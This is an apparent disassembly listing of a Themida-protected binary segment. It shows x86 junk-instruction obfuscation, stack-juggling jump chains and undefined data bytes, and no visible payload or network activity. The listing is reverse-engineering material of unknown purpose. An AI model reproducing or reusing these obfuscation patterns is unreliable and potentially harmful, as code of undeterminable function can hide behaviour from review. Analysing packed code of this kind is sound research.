dword_58A1AC	dd 9BF57ADh, 0E9320F1Ch, 2490h,	253EEA81h, 7AE9626Ch, 89000042h
					; DATA XREF: Themida_:005843D0o
		dd 0BA52243Ch, 333815EEh, 0E21710BFh, 8BD7312Fh, 0EC832414h
		dd 243C8904h, 243C8B54h, 0FFD0A3E9h, 90C781FFh,	0E9386040h
		dd 626Eh, 0C181E189h, 4, 3AFBE9h, 8B515D00h, 0C481243Ch
		dd 4, 43B85059h, 89415406h, 0F90158C1h,	0E9243C8Bh, 0CE3h
		dd 0C070C480h, 0C48003E4h, 58E10852h, 66C8E180h, 2846B652h
		dd 0E95A66F1h, 0FFFFE44Fh
; ---------------------------------------------------------------------------


loc_58A238:				; CODE XREF: Themida_:0058AB5Aj
		pop	edi
		jmp	loc_58FFD9
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 4C481h, 0C4830000h, 0E2895204h, 17E9E9h
		db 0
; ---------------------------------------------------------------------------


loc_58A255:				; CODE XREF: Themida_:0058582Ej
		sub	ebp, 0CFDAF15Ah
		push	ebp
		pop	ebx
		pop	ebp
		shl	ebx, 5
		neg	ebx
		neg	ebx
		push	75E6h
		mov	[esp], ebx
		not	dword ptr [esp]
		pop	ebx
		shr	ebx, 5
		sub	ebx, 0F7A78D81h
		xor	ebp, ebx
		pop	ebx
		push	ebp
		jmp	loc_58790D
; ---------------------------------------------------------------------------
		db 89h
		dd 61682434h, 5E741D45h, 874BDE87h, 3DF681DEh, 893B6843h
		dd 0F7E95EF1h, 0E9FFFFB9h, 0FFFFA1CFh, 5C243487h, 4AB0F66h
		dd 0C0E99C24h
		db 0A1h, 2 dup(0FFh)
byte_58A2B3	db 0FFh			; DATA XREF: Themida_:00584330o
		dd 0C6E92434h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58A2BB:				; CODE XREF: Themida_:00587E10j
		pop	esi
		jmp	loc_58C060
; ---------------------------------------------------------------------------
byte_58A2C1	db 0ADh, 57h, 83h	; DATA XREF: Themida_:005841E0o
		dd 0C8904ECh, 7182B924h, 5F516607h, 592434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, 1FE57EDDh
		sub	ecx, 1FE57EDCh
		sub	edi, ecx
		pop	ecx
		shr	edi, 8
		shl	edi, 8
		add	edi, 0DB73D906h
		add	esi, 247155CAh
		sub	esi, edi
		jmp	loc_58D7DC
; ---------------------------------------------------------------------------
		dd 8077B252h, 50E9E5C2h, 81FFFFC3h, 4ECh, 24348900h, 0BA525E54h
		dd 4C933311h, 0EA814A42h, 40EF74FBh, 26A0E9h
		db 0
byte_58A335	db 50h,	0E9h, 19h	; DATA XREF: Themida_:00584278o
		dd 5FFFFFD2h, 24348757h, 3487D6F7h, 0E649E924h,	6B68FFFFh
		dd 0E900002Bh, 4ABDh, 3304C483h, 1C31241Ch, 241C3324h
		dd 48B665Ch, 4EC8124h, 89000000h, 89522414h, 4C281E2h
		dd 0E9000000h, 0FFFFDE31h
; ---------------------------------------------------------------------------


loc_58A37C:				; CODE XREF: Themida_:0058C788j
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_585C0B
; ---------------------------------------------------------------------------
		db 31h,	0C3h, 0E9h
		dd 5D13h, 0D3F7D3F7h, 0C381D3F7h, 8DB1DBCh, 815BDD31h
		dd 0F62B68EDh, 0B2ED8165h, 19DD6EBh, 14875DEAh,	24248B24h
		dd 68C8B70Fh, 74E9h, 0E9240C89h, 0FFFFA0A7h, 0E924148Bh
		dd 0FFFFA3C8h, 0A2DD829h, 503A815h, 65662318h, 0F5685651h
		dd 5E0FF97Ch, 457AE9h
		db 0
; ---------------------------------------------------------------------------


loc_58A3ED:				; CODE XREF: Themida_:0058D154j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_58DC9F
; ---------------------------------------------------------------------------
		dw 565Fh
		dd 934F6BBEh, 6FF68137h, 5337934Fh, 8B05C668h, 241C8B74h
		dd 6073E9h, 4FCEBB00h, 0F74369ACh, 318E9D3h, 0F660000h
		dd 9468C8B6h, 0E9000015h, 0B11h, 0FFA03AE9h, 43166FFh
		dd 43E99C24h
		db 32h,	2 dup(0)
byte_58A443	db 66h			; DATA XREF: Themida_:00584208o
		dd 0E9240C8Bh, 0FFFFCBEDh, 768E94Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58A452:				; CODE XREF: Themida_:005893B6j
		pop	edi
		jmp	loc_585FC6
; ---------------------------------------------------------------------------
		dd 2BD55h, 0EB810000h, 7A755C0h, 0C381EB01h, 7A755C0h
		dd 0FFC23EE9h, 242C89FFh, 0FFD696E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58A479:				; CODE XREF: Themida_:0058B2B9j
		or	edi, esi
		jmp	loc_58DD58
; ---------------------------------------------------------------------------


loc_58A480:				; CODE XREF: Themida_:00589C07j
		mov	edi, eax
		pop	eax
		push	esi
		jmp	loc_58E70D
; ---------------------------------------------------------------------------


loc_58A489:				; CODE XREF: Themida_:00589AC7j
		xor	edi, 7CC75550h
		add	edx, edi
		jmp	loc_586558
; ---------------------------------------------------------------------------
		dw 0A82Ch
		dd 0B050515Bh, 0F64704F3h, 53C0FED0h, 3843E9h
		db 0
aN1Hyy		db '­1ØhYY',0           ; DATA XREF: Themida_:005843ECo
		dd 241C8900h, 0EED99068h, 2434FF74h, 0BF2685Bh,	3C890000h
		dd 52E78924h, 0FFA36AE9h, 59CF89FFh, 0FFA250E9h, 0C8B66FFh
		dd 2C48124h, 66000000h,	5EB26852h, 4890000h, 0FEA2B024h
		dd 441DE9C8h, 0C8B0000h, 4C48124h
		db 3 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_58D606
; ---------------------------------------------------------------------------


loc_58A503:				; CODE XREF: Themida_:00587E03j
		mov	ebp, 3275B48h
		shr	ebp, 6
		jmp	loc_58B6FC
; ---------------------------------------------------------------------------
		dd 7BD7BD55h, 0D1E96EA2h, 5BFFFFA9h, 2B2AE9h, 2434FF00h
		dd 4C4815Bh, 81000000h,	0EE7A36C3h, 8BD90148h, 0C483241Ch
		dd 0A676E904h, 0DABEFFFFh, 680ABD68h, 0
		dd 8B243429h, 0C4832434h, 7C2E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58A556:				; CODE XREF: Themida_:0058BA8Dj
		xchg	eax, [esp]
		mov	edx, [esp]
		add	esp, 4
		xor	[esp], edx
		jmp	loc_588723
; ---------------------------------------------------------------------------


loc_58A56A:				; CODE XREF: Themida_:0058869Bj
		jmp	loc_584473
; ---------------------------------------------------------------------------
aXfqT		db '[XfQ±t',0
		dw 0E9CEh
		dd 0FFFFD628h
dword_58A57C	dd 24048B66h, 0C9D6857h, 24890000h, 3182E924h, 0EF810000h
					; DATA XREF: Themida_:00584354o
		dd 72BD3029h, 41B3C781h, 0D7F701AEh, 6AA6EF81h,	7EE93F9Ch
		dd 68000042h, 140A5EB6h, 16E18159h, 8123D86Eh, 0F80389E1h
		dd 0F5F1813Fh, 891D7071h, 574E59CEh, 0FFFFFFBFh, 5FFE01FFh
		dd 94BE9h
		db 0
; ---------------------------------------------------------------------------


loc_58A5D1:				; CODE XREF: Themida_:0058EB20j
		pop	edi
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	esi
		push	esp
		pop	esi
		jmp	loc_5871B8
; ---------------------------------------------------------------------------


loc_58A5EE:				; CODE XREF: Themida_:005872E9j
		push	eax
		mov	eax, 83D4174h
		mov	ebx, 74FC2142h
		add	ebx, 20B82844h
		sub	ebx, 10012FBEh
		add	ebx, eax
		jmp	loc_58E89E
; ---------------------------------------------------------------------------


loc_58A60C:				; CODE XREF: Themida_:0058D843j
		push	ebp
		jmp	loc_5855BF
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 30F53004h, 53F530EEh, 81E28952h, 4C2h, 4EA8300h, 5C241487h
		dd 0E9240489h, 0FFFFE3E4h, 8104C483h, 504DC5EFh, 5FFD8928h
		dd 2C8BEE01h, 4C48124h,	87000000h, 0E95C2434h, 0FFFF9E1Fh
		dd 685BD801h, 3769h, 68241489h,	24BEh, 0BE243489h, 6E5B096Bh
		dd 0FFA6B0E9h, 286EB5FFh, 805966EBh
		db 0EBh, 65h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_58A05F
; ---------------------------------------------------------------------------
		db 0B9h, 68h, 6Ah
		dd 0E1D15451h, 8102E1C1h, 8E2EA5E9h, 1BFFE965h,	2C8B0000h
		dd 4C48324h, 9B2BA52h, 0B9511E2Ch, 0FFFFFFFFh, 4A59CA29h
		dd 0F652C281h, 0ED81E1D3h, 405F3901h, 78E9D501h, 1FFFFEAh
		dd 0EAC15EF2h, 0C0FAE906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58A6DA:				; CODE XREF: Themida_:0058CD60j
		dec	ebp
		add	ebp, 1
		push	edx
		push	esi
		push	edi
		mov	edi, 60F53DC4h
		jmp	loc_58F9EE
; ---------------------------------------------------------------------------
		dw 487h
		dd 24248B24h, 0FFE5ECE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58A6F9:				; CODE XREF: Themida_:00587F2Aj
		mov	[esp], edx
		push	dword ptr [esp+4]
		jmp	loc_5905DA
; ---------------------------------------------------------------------------


loc_58A705:				; CODE XREF: Themida_:0058BDABj
		mov	eax, 3E85121Bh
		sub	ecx, eax
		pop	eax
		and	ecx, 62A23D5Eh
		shl	ecx, 5
		push	esi
		push	edi
		jmp	loc_58F2DC
; ---------------------------------------------------------------------------
byte_58A71D	db 66h,	8Bh, 4		; DATA XREF: Themida_:00584214o
		dd 0E3895324h, 4C381h, 0BF570000h, 1ED517A0h, 8102E7C1h
		dd 291915C7h, 0C13BE96Dh, 0C14BFFFFh, 7FE904EBh, 58FFFFACh
		dd 0B4B05051h, 0DCE9B62Ch, 3000042h, 30E93862h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58A75B:				; CODE XREF: Themida_:0058B87Fj
		sub	dword ptr [esp+4], 2B395AD7h
		jmp	loc_58C808
; ---------------------------------------------------------------------------
		dd 2C8BE931h, 4C48124h,	0E9000000h, 15D4h
; ---------------------------------------------------------------------------


loc_58A778:				; CODE XREF: Themida_:0058DE38j
		xor	ebx, 65E36CA6h
		sub	ebx, 7126742Dh
		jmp	loc_5846C0
; ---------------------------------------------------------------------------


loc_58A789:				; CODE XREF: Themida_:0058A067j
		mov	edi, 23B80860h
		dec	edi
		neg	edi
		and	edi, 69E11CF7h
		jmp	loc_5858D4
; ---------------------------------------------------------------------------
		dd 0E953FD88h, 0FFFFECB9h, 64BA5250h, 0E90A3E15h, 23FFh
		dd 4C481h, 0E9500000h, 293Fh, 243C8756h, 3C87D7F7h, 0A0E95E24h
		dd 81000052h, 472166C3h, 0C708E92Eh, 0EC83FFFFh, 24148904h
		dd 5C1BE9h, 213DBB00h, 0EBC109ABh, 0B8E5E906h
		db 2 dup(0FFh)
word_58A7EE	dw 8B66h		; DATA XREF: Themida_:00584224o
		dd 81522404h, 4ECh, 0C9F4E900h
		db 2 dup(0FFh)
word_58A7FE	dw 1B68h		; DATA XREF: Themida_:005842BCo
		dd 0E9000071h, 1354h
dword_58A808	dd 24048B66h, 0E904EC83h, 3Dh; ---------------------------------------------------------------------------


loc_58A814:				; CODE XREF: Themida_:0058E4FDj
		mov	ebx, [esp]
		add	esp, 4
		add	al, 0A1h
		push	edx
		mov	dh, 0E6h
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_58E483
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58EB02
; ---------------------------------------------------------------------------


loc_58A841:				; CODE XREF: Themida_:00590725j
		shr	esi, 4
		xor	esi, 3C0FE490h
		add	eax, esi
		jmp	loc_588BC4
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 4EC81h, 6DE90000h, 8B00004Fh, 0C4812434h, 4,	7AE168h
		dd 24148900h, 0CE7BD9BAh, 0DDF2814Ch, 14CCE7Bh,	0C6835AD6h
		dd 4EC8304h, 0FFEFF0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58A889:				; CODE XREF: Themida_:00586193j
		push	esi
		mov	esi, 33BA47C4h
		jmp	loc_585F4B
; ---------------------------------------------------------------------------
		dd 6B6EC181h, 0C1015D4Ah, 6B6EE981h, 68585D4Ah,	69DAh
		dd 55241C89h, 332B2ABDh, 7EBDBB74h, 4CE9DF4Fh
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58A8BB:				; CODE XREF: Themida_:00589BBEj
		xor	[esp], edx
		xor	edx, [esp]
		xor	[esp], edx
		xchg	ecx, edx
		not	ecx
		xchg	ecx, edx
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_588404
; ---------------------------------------------------------------------------
		dd 3816BF57h, 0EF81740Eh, 396C2819h, 8EFC14Fh, 0F781D7F7h
		dd 0FFC55DF4h, 1AB4C281h, 0FA0135B1h, 1AB4EA81h, 3C8B35B1h
		dd 4C48124h, 81000000h,	4C2h, 24148700h, 0FFA636E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58A91D:				; CODE XREF: Themida_:005862A1j
		shr	ecx, 4
		and	ecx, 33AD741Ch
		or	ecx, 2B2C47FDh
		shl	ecx, 8
		jmp	loc_58CABE
; ---------------------------------------------------------------------------
		dd 0ED81CD87h, 9C18CB9h, 62E9EF01h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58A943:				; CODE XREF: Themida_:005900DCj
		inc	eax
		xchg	eax, ecx
		or	ecx, 427A7324h
		push	esi
		mov	esi, 30F63360h
		not	esi
		push	ebx
		mov	ebx, 1844CD5h
		and	esi, ebx
		pop	ebx
		and	esi, 1FB164FAh
		jmp	loc_585D93
; ---------------------------------------------------------------------------
		db 0C1h
		dd 1C2D02E8h, 572C7262h, 0E09E25BFh, 5FF80145h,	158C531h
		dd 242C8BE8h, 4C481h, 1B680000h, 89000066h, 0A5BE2434h
		dd 0E94E326Ah, 0FFFFADFBh
; ---------------------------------------------------------------------------


loc_58A998:				; CODE XREF: Themida_:005871BAj
		mov	esi, 0FF04E14h
		mov	eax, esi
		pop	esi
		shr	eax, 6
		sub	eax, 1
		jmp	loc_58F7EA
; ---------------------------------------------------------------------------
		db 33h
		dd 645C243Ch, 0BCE90288h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58A9B7:				; CODE XREF: Themida_:00584F0Cj
		mov	eax, edx
		pop	edx
		jmp	loc_58AB55
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 0DE2h, 3B8A68h, 240C8900h, 4EC81h, 98E90000h
		dd 81000041h, 0D9449BEAh, 0DA38E97Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58A9E6:				; CODE XREF: Themida_:0058FBF3j
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	eax, 4
		xor	eax, [esp]
		jmp	loc_5899C5
; ---------------------------------------------------------------------------
		db 2Dh,	6Bh, 12h
		dd 0D0012B8Bh, 8B126B05h, 0F5BD552Bh, 290A4334h, 0EDBFE9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58AA12:				; CODE XREF: Themida_:00587BFEj
		mov	[esp], ebx
		push	eax
		mov	eax, 509835CFh
		add	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		pop	eax
		push	edx
		push	ecx
		mov	ecx, 500B2C73h
		xor	ecx, 0CAA5B39h
		sub	ecx, 6BBE2CCAh
		sub	ecx, 0D7B82B41h
		mov	edx, 5CAA214Eh
		sub	edx, 238020F5h
		add	edx, ecx
		add	edx, 238020F5h
		pop	ecx
		shr	edx, 5
		push	edi
		mov	edi, 11E54C32h
		and	edi, 291F38ABh
		jmp	loc_586260
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 726696E0h, 0DD7A45BEh, 5AD6290Dh, 18FFEE81h,	0F681628Bh
		dd 0A4F9120Fh, 815EF301h, 4C3h,	241C3300h, 516DE9h, 4C68100h
		dd 1D5C4E0h, 10E95EF3h,	5A000009h, 0E5805866h, 66DDF650h
		dd 0DF44E953h, 0DA31FFFFh, 33241431h, 14312414h, 99B1E924h
		dd 0E983FFFFh, 240C8704h, 241C895Ch, 782568h, 24248900h
		dd 4240483h, 81241C8Bh,	4C4h, 97E95100h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58AAE7:				; CODE XREF: Themida_:0058DC1Cj
		or	ah, 41h
		neg	ah
		shl	ah, 1
		jmp	loc_58727B
; ---------------------------------------------------------------------------


loc_58AAF3:				; CODE XREF: Themida_:005886B9j
		xchg	ebp, ecx
		sub	ecx, 17105EEh
		dec	ecx
		push	7727h
		mov	[esp], ebp
		mov	ebp, 11641006h
		xor	ecx, ebp
		pop	ebp
		jmp	loc_58CD11
; ---------------------------------------------------------------------------
		db 31h,	14h, 24h
		dd 0FFB609E9h, 8BB652FFh, 0E907E680h, 0FFFFC3FCh, 0E9240C8Bh
		dd 0FFFFBD87h, 3BE95053h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58AB33:				; CODE XREF: Themida_:0058BC63j
		add	ecx, 775E56DFh
		add	ecx, ebx
		sub	ecx, 775E56DFh
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_58698F
; ---------------------------------------------------------------------------


loc_58AB55:				; CODE XREF: Themida_:0058A9BAj
		sub	edi, eax
		pop	eax
		mov	eax, edi
		jmp	loc_58A238
; ---------------------------------------------------------------------------
		db 1
		dd 81042444h, 4004246Ch, 58498A45h, 0FFB120E9h,	421F68FFh
		dd 2C890000h, 5DDB6824h, 4890000h, 121EB824h, 0BBBD5A48h
		dd 313F201Eh, 0E80158C5h, 0E9242C8Bh, 0FFFFE42Eh, 4245401h
		dd 2586E9h, 5EF78900h, 1AA2CF81h, 0EFD15D10h, 464ACF81h
		dd 0EFC17FA7h, 0C18E908h, 0E3C10000h, 1DE38108h, 81730238h
		dd 0EB4BAAEBh, 0B2C5E97Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58ABCE:				; CODE XREF: Themida_:0058B134j
		neg	bl
		xchg	dl, bl
		jmp	loc_58B3E1
; ---------------------------------------------------------------------------
		db 0FFh
		dd 815A2434h, 4C4h, 4C48100h, 0E9000000h, 0FFFF9887h
; ---------------------------------------------------------------------------


loc_58ABEC:				; CODE XREF: Themida_:0058EAE2j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebx
		jmp	loc_584D03
; ---------------------------------------------------------------------------
		dw 0F580h
		dd 0D2F58098h, 80A5C580h, 0E5D052EDh, 0F605E5C0h, 16C580D5h
		dd 0E5C0DDF6h, 58CD8007h, 80D6ED80h, 0E80037C5h, 0D8285959h
		dd 1E9368h, 241C8900h, 0D7F671B7h, 4EC81h, 14890000h, 800FB624h
		dd 0F7085BF6h, 0B2EF805Ah, 66A9C780h, 0E9000068h, 0CBFh
; ---------------------------------------------------------------------------


loc_58AC58:				; CODE XREF: Themida_:00584782j
		push	edi
		mov	edi, 4
		add	ebx, 66365A45h
		add	ebx, edi
		sub	ebx, 66365A45h
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_58EEE8
; ---------------------------------------------------------------------------
aIS1		db 'ˆÙé1',0Bh,0
		dw 5D00h
		dd 685FFA21h, 36E2h, 0BE243489h, 164B6834h, 0FFFA32E9h
		dd 405FFh, 4050000h, 87000000h,	0F5C2404h, 48DC0B6h, 1C39E987h
		dd 0BE560000h, 2, 335EF701h, 0A1E9243Ch, 5900000Fh, 0FFACC1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58ACCD:				; CODE XREF: Themida_:00590008j
		pop	edx
		push	3D0h
		mov	[esp], ebx
		jmp	loc_58FB7E
; ---------------------------------------------------------------------------
aTa@		db 'Ðâ€Â@',0
		db 0D3h, 0E9h, 0E0h
		db 0A7h, 2 dup(0FFh)
byte_58ACE7	db 0FFh			; DATA XREF: Themida_:0058432Co
a4S		db '4$é/<',0
		dw 0FE00h
		dd 56C780CFh, 0E95BFE88h, 0FFFFEE28h, 5B002Ch, 0FF3E2CE8h
		dd 94E92434h, 8B000004h, 0B1682424h, 0E900007Dh, 5560h
		dd 706AF681h, 0C6814B79h, 17F07B65h, 19F2E9h, 4C58100h
		dd 0E9000000h, 0FFFFC934h, 4BFh, 5FFB0100h, 4EC81h, 14890000h
		dd 4CB85024h, 0D60C704h, 12620BEFh, 0E70FED2Dh,	58C28972h
		dd 535AD301h, 42474FFh,	5B2434FFh, 2C63E9h, 9CC8000h, 0EC80C4FEh
		dd 86F4806Ah, 3058E688h, 148B66F0h, 4EC8324h, 0FFC2D7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58AD85:				; CODE XREF: Themida_:0058DCB7j
		pop	esp
		jmp	loc_585A16
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FFDD2AE9h
		db 0FFh
byte_58AD91	db 8Fh,	2, 0E9h		; DATA XREF: Themida_:005841D4o
		dd 0FFFF96DBh
; ---------------------------------------------------------------------------


loc_58AD98:				; CODE XREF: Themida_:0058E252j
		sub	esi, 0C0113FFh
		sub	eax, esi
		pop	esi
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 74C556FBh
		push	eax
		mov	eax, 74C556FBh
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		mov	[edi+24h], ebx
		pop	ebx
		xor	edx, edx
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_584B29
; ---------------------------------------------------------------------------
aI4TQsvi	db '‰4$T^QéVI',0
		dw 8100h
		dd 524C78F6h, 8CC68127h, 8981D0A7h, 56535EF2h, 394CBEBEh
		dd 0A600E97Eh, 0F741FFFFh, 64C181D1h, 0E9DC8F98h, 0FFFFDF72h
		dd 83240C89h, 19E904ECh, 81000048h, 7A9049C5h, 87BB53BAh
		dd 52239406h, 7A7EFEBAh, 5AD3296Eh, 0AF4EF381h,	0DA019E1Bh
		dd 81241C8Bh, 4C4h, 57EA0100h, 58601CBFh, 0A6E94F13h, 68FFFFF3h
		dd 6CFEh, 89243489h, 0BE0DE9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58AE4E:				; CODE XREF: Themida_:0058B0F2j
		mov	ecx, 0C317F887h
		add	ecx, 1DE6579Eh
		add	ecx, ebx
		jmp	loc_58E4A1
; ---------------------------------------------------------------------------
		dd 2414875Fh, 0FFA2CAE9h, 51EA81FFh, 814A231Fh,	8D0A64EAh
		dd 0E9585D14h, 2A7Eh, 0EB1E943h, 0C4830000h, 0C766804h
		dd 3CE90000h, 68FFFFDBh, 3802h,	38FFE9h, 0D8E95300h, 2D000040h
		dd 5ADD58A9h, 8124148Bh, 4C4h, 50E95700h, 8BFFFF9Bh, 9EE92414h
		dd 87000016h, 0E95C2404h, 0FFFF95AFh, 49EEF181h, 92E91F20h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58AECF:				; CODE XREF: Themida_:0058CB2Ej
		add	ebp, 0B877E0ACh
		add	esi, ebp
		pop	ebp
		mov	ebp, esi
		pop	esi
		shl	ebp, 2
		push	eax
		mov	eax, 7ED3DCFh
		not	eax
		add	eax, 7B3B5FD9h
		shl	eax, 7
		add	eax, 0AD348C8h
		xor	eax, 8BAA3761h
		sub	ebp, eax
		jmp	loc_58BB7E
; ---------------------------------------------------------------------------
		db 83h
		dd 0C18104C4h, 0A0B65DC5h, 8359C831h, 148904ECh, 0AE25BA24h
		dd 0E9515191h, 0FFFFF775h, 4972C681h, 95E92041h, 5EFFFFF8h
		dd 31241C33h, 1C33241Ch, 0F7665C24h, 106866E1h,	14896607h
		dd 9C506624h, 0FF952EE9h, 243489FFh, 0AE9E689h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58AF4F:				; CODE XREF: Themida_:0058B183j
		pop	ebp
		jmp	loc_5857F1
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0F7000000h, 0D1F581D5h, 4513CA09h, 0C5C8F581h, 0E989A509h
		dd 0F2B9515Dh, 0E964FD0Ch, 0FFFF9A11h, 5504C483h, 0FFCEF9E9h
		dd 3B665CFFh, 0E8E99CC8h
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58AF8B:				; CODE XREF: Themida_:00588F5Cj
		pop	esi
		jmp	loc_58DAE3
; ---------------------------------------------------------------------------


loc_58AF91:				; CODE XREF: Themida_:0058CD1Fj
		add	ebp, edx
		jmp	loc_586AD0
; ---------------------------------------------------------------------------
		dd 68F7015Bh, 676Fh, 0BB241C89h, 748B05C6h, 5E5BDF01h
		dd 2C781h, 3C870000h, 0AA19E924h, 1CF7FFFFh, 0FF2D5824h
		dd 40FFFFFFh, 81FD0805h, 2BBD55BCh, 4D71ED51h, 0DDF7D5F7h
		dd 0FFAF02E9h, 3B8D2DFFh, 0BFE975F8h, 0F7000049h, 3DF281DAh
		dd 81045D00h, 5AA59EEAh, 3F3CE910h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58AFF6:				; CODE XREF: Themida_:0058C9D0j
		mov	edx, ecx
		pop	ecx
		not	edx
		inc	edx
		not	edx
		neg	edx
		xor	edx, 29220014h
		jmp	loc_58FC6A
; ---------------------------------------------------------------------------
		db 51h
		dd 22059B9h, 59CB2932h,	0FF985CE9h, 0CBA035FFh,	0EE81997Ah
		dd 5D20528Ch, 0C681C601h, 5D20528Ch, 10BD6858h,	34890000h
		dd 2434FF24h, 81243C8Bh, 4ECh, 241C8900h, 0B93E954h, 0D2F70000h
		dd 44F9C281h, 81420211h, 0AC368AF2h, 5AD6896Ch,	47F2E9h
		dd 14806800h, 3C890000h, 81E78924h, 4C7h, 4C78100h, 33000000h
		dd 3C31243Ch, 243C3324h, 3ABCE9h, 240C8900h, 2B9h, 59CE0100h
		dd 31243433h, 34332434h, 0D3665C24h, 0E99C242Ch, 0FFFF93CFh
		dd 2059C381h, 89E93202h, 6600003Bh, 66C8B60Fh, 0DE99C51h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_58B0BB:				; CODE XREF: Themida_:00589FE3j
		xor	bl, dl
		add	bl, 0F5h
		neg	bl
		jmp	loc_58E4C8
; ---------------------------------------------------------------------------


loc_58B0C7:				; CODE XREF: Themida_:00589458j
		push	52D14C7Ch
		pop	ecx
		or	ecx, 438D34A3h
		or	ecx, 6C0E64FEh
		sub	ecx, 24E62058h
		push	ecx
		jmp	loc_588EAD
; ---------------------------------------------------------------------------


loc_58B0E5:				; CODE XREF: Themida_:00586FFBj
		push	1B78h
		mov	[esp], ebx
		mov	ebx, 3CE80778h
		jmp	loc_58AE4E
; ---------------------------------------------------------------------------
		db 66h
		dd 665A5768h, 8124148Bh, 2C4h, 89665000h, 665066D0h, 0D240481h
		dd 0C3BDE931h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58B116:				; CODE XREF: Themida_:005873E0j
		push	21DEh
		jmp	loc_585221
; ---------------------------------------------------------------------------
		dd 6D5A0F2Dh, 57BE563Ah, 0F70FAD47h, 0B4F7E9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58B132:				; CODE XREF: Themida_:00590273j
		dec	bl
		jmp	loc_58ABCE
; ---------------------------------------------------------------------------
		db 8Ah,	3Ch, 24h
		dd 5102C483h, 0ED8078B5h, 0FDED80CBh, 0FFB7E2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58B14D:				; CODE XREF: Themida_:0058C825j
		mov	eax, 4
		jmp	loc_58C39B
; ---------------------------------------------------------------------------
		db 87h
		dd 5BE9243Ch, 89000013h, 4C181E1h, 83000000h, 0FF5104C1h
		dd 8B042474h, 0C483240Ch, 24048F04h, 1084E9h
		db 0
; ---------------------------------------------------------------------------


loc_58B17D:				; CODE XREF: Themida_:0058B467j
		add	ecx, 796545DBh
		jmp	loc_58AF4F
; ---------------------------------------------------------------------------
		dd 69E9BE56h, 0EE8174A3h, 669D4A68h, 40B9C681h,	0EFE90F5Bh
		dd 59000022h, 0FFC10DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58B1A5:				; CODE XREF: Themida_:0058CCC6j
		push	ebx
		jmp	loc_585173
; ---------------------------------------------------------------------------
		db 52h
		dd 9FCE9h, 81CB0100h, 0BE6FDEC3h, 5AEE903h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58B1BE:				; CODE XREF: Themida_:005901BBj
		not	esi
		dec	esi
		jmp	loc_586B0A
; ---------------------------------------------------------------------------


loc_58B1C6:				; CODE XREF: Themida_:005856C6j
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	618Fh
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		push	ecx
